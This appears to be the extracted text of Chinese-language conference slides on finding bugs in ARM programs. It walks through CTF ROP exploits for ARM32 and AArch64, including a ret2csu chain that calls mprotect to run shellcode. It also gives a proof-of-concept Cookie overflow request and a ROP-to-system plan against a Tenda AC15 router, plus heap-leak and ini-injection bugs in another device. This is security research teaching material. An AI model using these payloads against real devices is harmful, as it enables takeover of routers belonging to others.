1、ARM程序的漏洞挖掘CodeSafe实验室eackAboutmeeack奇安信CodeSafe实验室,IoT漏洞挖掘Xman2017届夏季南京营学员2019补天白帽大会,2019BCS大会,speaker2019补天杯IoT破解大赛CTF业余爱好者,Aurora&De1taCTF中的ARM程序IoT中的ARM程序目录ARM基础知识ARM简介搭建ARMPWN环境ARM程序的漏洞挖掘思路与实践ARM汇编详解安装gdbserver因为镜像版本太旧,官方的更新源中已经没有合适版本的软件包,解决方法是替换更新源,替换成官方的存档更新源nano/etc/a
3、ploitation学习资料CTF中的ARMARM32LSB,staticallylinked,strippedARM32NXenabled,NoPIE一个简单的打字游戏,超长的输入导致栈溢出思路:程序仅开启了NX,且是静态链接,可以直接利用rop构造system(“/bin/sh”)。程序在编译时去除了符号,使用rizzo、bindiff等工具恢复部分符号system:0x10BA8构造ROP0x00020904:popr0,r4,pcpadding的长度-cyclicpaddingpaddinggadgets/bin/shjunksystemf
4、ramepointerreturnaddressforiinrange(112,113):payload=a*i+p32(0x20904)+p32(0x6c384)*2+p32(0x110B4)paddingpaddinggadgets/bin/shjunksystem0x209040x6c3840x100b4ARM64ARM32LSB,dynamicallylinked,strippedNXenabled,NoPIE安装aarch64的汇编器:$sudoaptsearchbinutils|grepaarc
5、h64$sudoapt-getinstallbinutils-aarch64-linux-gnu安装aarch64的libc:$sudoapt-cachesearchlibc6-|greparm“$sudoaptinstalllibc6-arm64-cross首先找到输入点,首先会通过read()将用户输入写入到unk_411068所在的bss段,然后再向栈上写入而在sub_4007F0函数中向栈上写入时,目标缓冲区v1是一个int64类型的变量,在栈上仅分配8bytes的内存空间,而通过read向这块内存写入了512byt
6、es,明显会导致栈溢出:程序开启了NX,常规思路是ROP,在plt表中寻找可以覆盖的函数:intmprotect(constvoid*start,size_tlen,intport)把从start开始的,长度为len的内存区的保护属性修改为port指定的值:PROT_READ:表示内存段内的内容可写PROT_WRITE:表示内存段的内容可读PROT_EXEC:表示内存段中的内容可执行PROT_NONE:便是内存段中的内容无法访问需要注意,指定的内存区间必须包含整个内存页(4K),区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必
7、须是页大小的整数倍利用:1、通过第一个read操作向bss段中写入shellcode(不可执行)2、通过第二次read操作溢出构造rop链,调用mprotect设置可执行3、通过rop跳转到bss段执行shellcode简单的gadget工具:objdump、ROPEME、Ropper、ROPgadget、rp+在这个程序中,涉及到aarch64传参的方式,需要控制三个参数x0、x1、x2,程序本身的函数中找不到可用rop链,而我们也不知道目标服务器上libc.so的版本,所以我们采用通用gadget,这种技术也叫ret2csu通常,在调用
8、了libc.so的程序中,都会用到_libc_csu_init()这个函数来对libc进行初始化通用Gadget:X29X30X19X20X21X22mprotectpltX1X2X23X240X30X0loc_4008ACret到loc_4008CC后布局栈,然后ret到X30寄存器的值即loc_4008AC,然后callmprotect(0x411000,0x1000,5),然后判断X19和X20是否相等,因为我们提前布置好了所以会继续往下执行到ret,返回到shellcode处qemu-user模式模拟:$sudoqemu-aarch64-g1234
9、-L/usr/aarch64-linux-gnu./baby_arm-g参数:在本地开启指定调试端口-L参数:指向程序依赖的共享库pwndbg远程连接端口调试:$gdb-multiarch./baby_armpwndbgtargetremote:1234.下断点pwndbgcontinueIOT中的ARMTendaAC15路由器ARM32LSB,dynamicallylinked,strippedNXenabled固件分析maininitWebswebsOpenServerwebsUrlHandlerDefineR7WebsSecurityHandlerwebsF
10、ormHandlerListeningrequestwebsOpenListenwebsAcceptwebs_Tenda_CGI_BIN_HandlerwebsDefaultHandler/goform/cgi-binwebsGetInputwebsParseRequestwebsUrlHandlerRequestwebsUrlHandlerParseauthorizationSetrequesthandlerCallrequesthandlerCallbackConnectCfm设置服务的基础配置开始监听用户请求,设置对应的处理函数backinitWebswebsUrlH
11、andlerDefinewebsUrlHandlerDefine(“”,0,0,R7WebsSecurityHandler,1);backbackwebsUrlHandlerRequestsscanf函数从用户请求Cookie中,格式化获取password参数值,并写入到固定长度为0x80的缓冲区pcookie中,未控制可写入大小,导致栈溢出R7WebsSecurityHandlerintsscanf(constchar*str,constchar*format,mixedvar1,mixedvar2.)str:源字符串,函数检索数据的源forma
12、t:格式化%*widthh|l|I64|Ltype||t|n|非%符号varn:目标缓冲区sscanf函数和scanf函数类似,都是用于输入,但后者是以stdin为输入源,前者是以固定字符串为输入源“%*=”从数据源截取“=”之后的字符串“%;*”从数据源截取“;”之前的字符串“%*=%;*”合起来,就是截取“=”和“s”之间的字符串,即password的值sscanf函数url的值不能为空url不能为“/”,或长度不超过1url不能是上面的任意一个路径或请求满足上面的条件进入到if执行,url不能为“/index.html”构造POCGET/gofo
13、rm/execCommandHTTP/1.1Host:x.x.x.xUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:65.0)Gecko/20100101Firefox/65.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Upgrade-Insecure-Requests:1Cookie:password=“A”*501sudochroot../qemu-arm-static-g1234
15、c_base_addr=puts_addr-puts_libc_offset=0xf65e5000ROPgadget-binarylibc.so.0-only“pop”ROPgadget-binarylibc.so.0|grep“mov”查找gadgets:总体思路:先将systempop到r3,再将sp中的cmd参数放到r0paddingpopr3,pcsystemmovr0,sp;blxr3cmdPCSP1.覆盖RET地址paddingpopr3,pcsystemmovr0,sp;blxr3cmdPCSP2.pop
20、snprintf返回的这个值是不受这个限制统计的最终,这个size会被传入到em_socket_send函数中,作为buf的长度,在堆上分配一块过大的(超过0x100)内存空间,从而可以泄露出堆上的数据而这部分泄露的数据中包含了libc上的地址,可以在接收到的返回报文中看到这个_malloc_state是libc中bss段上的一个全局变量:泄露出的_malloc_state+52的真实地址bss段上_malloc_state+52的libc偏移地址=libc基址第二处漏洞同样是在处理login的这部分代码中,是在解析用户logi
22、始化配置文件的格式,有多个Section组成,每个Section中又包含了多个键值对,键值对之间通过换行符进行分隔。此时,写入到ini文件中的键值是我们可控的,那么如果我们输入换行符,将会注入一段新的键值对或者Section,举个例子:正常情况下,cookie=“isvip=0;jumpkey=A;usernick=B;userid=1”ini配置文件中的内容:注入后,cookie=isvip=0;jumpkey=Annlicensenserver_addr=;usernick=B;userid=1ini配置文件中的内容:第三处漏洞在license_start